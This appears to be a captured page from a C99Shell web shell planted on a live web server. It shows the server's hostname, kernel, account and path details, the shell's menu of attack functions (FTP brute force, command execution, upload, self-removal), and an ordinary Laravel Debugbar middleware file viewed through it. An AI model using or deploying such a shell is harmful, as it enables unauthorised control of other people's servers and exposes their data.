!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/barryvdh/laravel-debugbar/src/Middleware/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InjectDebugbar.php (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\Middleware;

use 
Closure;
use 
Exception;
use 
Illuminate\Http\Request;
use 
Barryvdh\Debugbar\LaravelDebugbar;
use 
Illuminate\Contracts\Container\Container;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Throwable;

class 
InjectDebugbar
{
    
/**
     * The App container
     *
     * @var Container
     */
    
protected $container;

    
/**
     * The DebugBar instance
     *
     * @var LaravelDebugbar
     */
    
protected $debugbar;

    
/**
     * The URIs that should be excluded.
     *
     * @var array
     */
    
protected $except = [];

    
/**
     * Create a new middleware instance.
     *
     * @param  Container $container
     * @param  LaravelDebugbar $debugbar
     */
    
public function __construct(Container $containerLaravelDebugbar $debugbar)
    {
        
$this->container $container;
        
$this->debugbar $debugbar;
        
$this->except config('debugbar.except') ?: [];
    }

    
/**
     * Handle an incoming request.
     *
     * @param  Request  $request
     * @param  Closure  $next
     * @return mixed
     */
    
public function handle($requestClosure $next)
    {
        if (!
$this->debugbar->isEnabled() || $this->inExceptArray($request)) {
            return 
$next($request);
        }

        
$this->debugbar->boot();

        try {
            
/** @var \Illuminate\Http\Response $response */
            
$response $next($request);
        } catch (
Throwable $e) {
            
$response $this->handleException($request$e);
        }

        
// Modify the response to add the Debugbar
        
$this->debugbar->modifyResponse($request$response);

        return 
$response;
    }

    
/**
     * Handle the given exception.
     *
     * (Copy from Illuminate\Routing\Pipeline by Taylor Otwell)
     *
     * @param $passable
     * @param  Throwable $e
     * @return mixed
     * @throws Exception
     */
    
protected function handleException($passable$e)
    {
        if (! 
$this->container->bound(ExceptionHandler::class) || ! $passable instanceof Request) {
            throw 
$e;
        }

        
$handler $this->container->make(ExceptionHandler::class);

        
$handler->report($e);

        return 
$handler->render($passable$e);
    }

    
/**
     * Determine if the request has a URI that should be ignored.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function inExceptArray($request)
    {
        foreach (
$this->except as $except) {
            if (
$except !== '/') {
                
$except trim($except'/');
            }

            if (
$request->is($except)) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--